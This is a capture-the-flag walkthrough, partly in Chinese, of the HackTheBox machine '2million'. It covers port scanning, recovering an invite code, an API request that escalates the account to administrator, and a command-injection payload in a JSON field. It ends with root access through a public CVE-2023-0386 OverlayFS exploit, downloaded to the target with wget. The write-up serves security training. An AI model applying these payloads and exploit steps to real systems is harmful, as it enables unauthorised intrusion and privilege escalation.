Information Gathering

$ sudo masscan -p1-65535,U:1-65535 10.10.11.221 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
$ nmap -Pn -sV -sC -p$ports 10.10.11.221

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

JS Code Deobfuscation && Unauthorized API Access RCE

# echo '10.10.11.221 2million.htb'>>/etc/hosts

$ dirsearch -u http://2million.htb

view-source:http://2million.htb/js/inviteapi.min.js

JavaScript 混淆代码解析

function verifyInviteCode(code) {
    var formData = { "code": code };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/generate',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
}

$ echo 'Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr'|tr 'A-Za-z' 'N-ZA-Mn-za-m'

POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=11hkqh03a638kn4bsphv86bqr2
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

  

DATV8-W1GS1-U5MY1-E43OY

http://2million.htb/home

用户 API

管理员 API

GET /api/v1/user/vpn/download HTTP/1.1

openvpn配置文件

查看权限

升级管理员

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Referer: http://2million.htb/home/rules
Connection: close
Cookie: PHPSESSID=11hkqh03a638kn4bsphv86bqr2
Upgrade-Insecure-Requests: 1
Content-Length: 47


{
"email":"[email protected]",
"is_admin":1
}

POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Referer: http://2million.htb/home/rules
Connection: close
Cookie: PHPSESSID=11hkqh03a638kn4bsphv86bqr2
Upgrade-Insecure-Requests: 1
Content-Length: 35


{
"username":"[email protected]"
}

{
"username":"x|id #"
}

username:admin
password:SuperDuperPass123

$ ssh [email protected]

User.txt

6a9c99994e4334df9edc1fc13bca997b

Privilege Escalation:OverlayFS

在/var/spool/mail/admin有一封邮件

From: ch4p <[email protected]>
To: admin <[email protected]>
Cc: g0blin <[email protected]>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <[email protected]>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

提到了 OverlayFS / FUSE 漏洞

$ git clone https://github.com/puckiestyle/CVE-2023-0386.git

$ tar -czvf CVE-2023-0386.tar.gz ./CVE-2023-0386

admin@2million:/tmp$ wget http://10.10.16.16/CVE-2023-0386.tar.gz

admin@2million:/tmp$ tar -zxvf CVE-2023-0386.tar.gz

admin@2million:/tmp/CVE-2023-0386$ make all

admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc

admin@2million:/tmp/CVE-2023-0386$ ./exp

Root.txt

35ed55b48c40b4a093970f40eda0281c

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。

本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！

程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）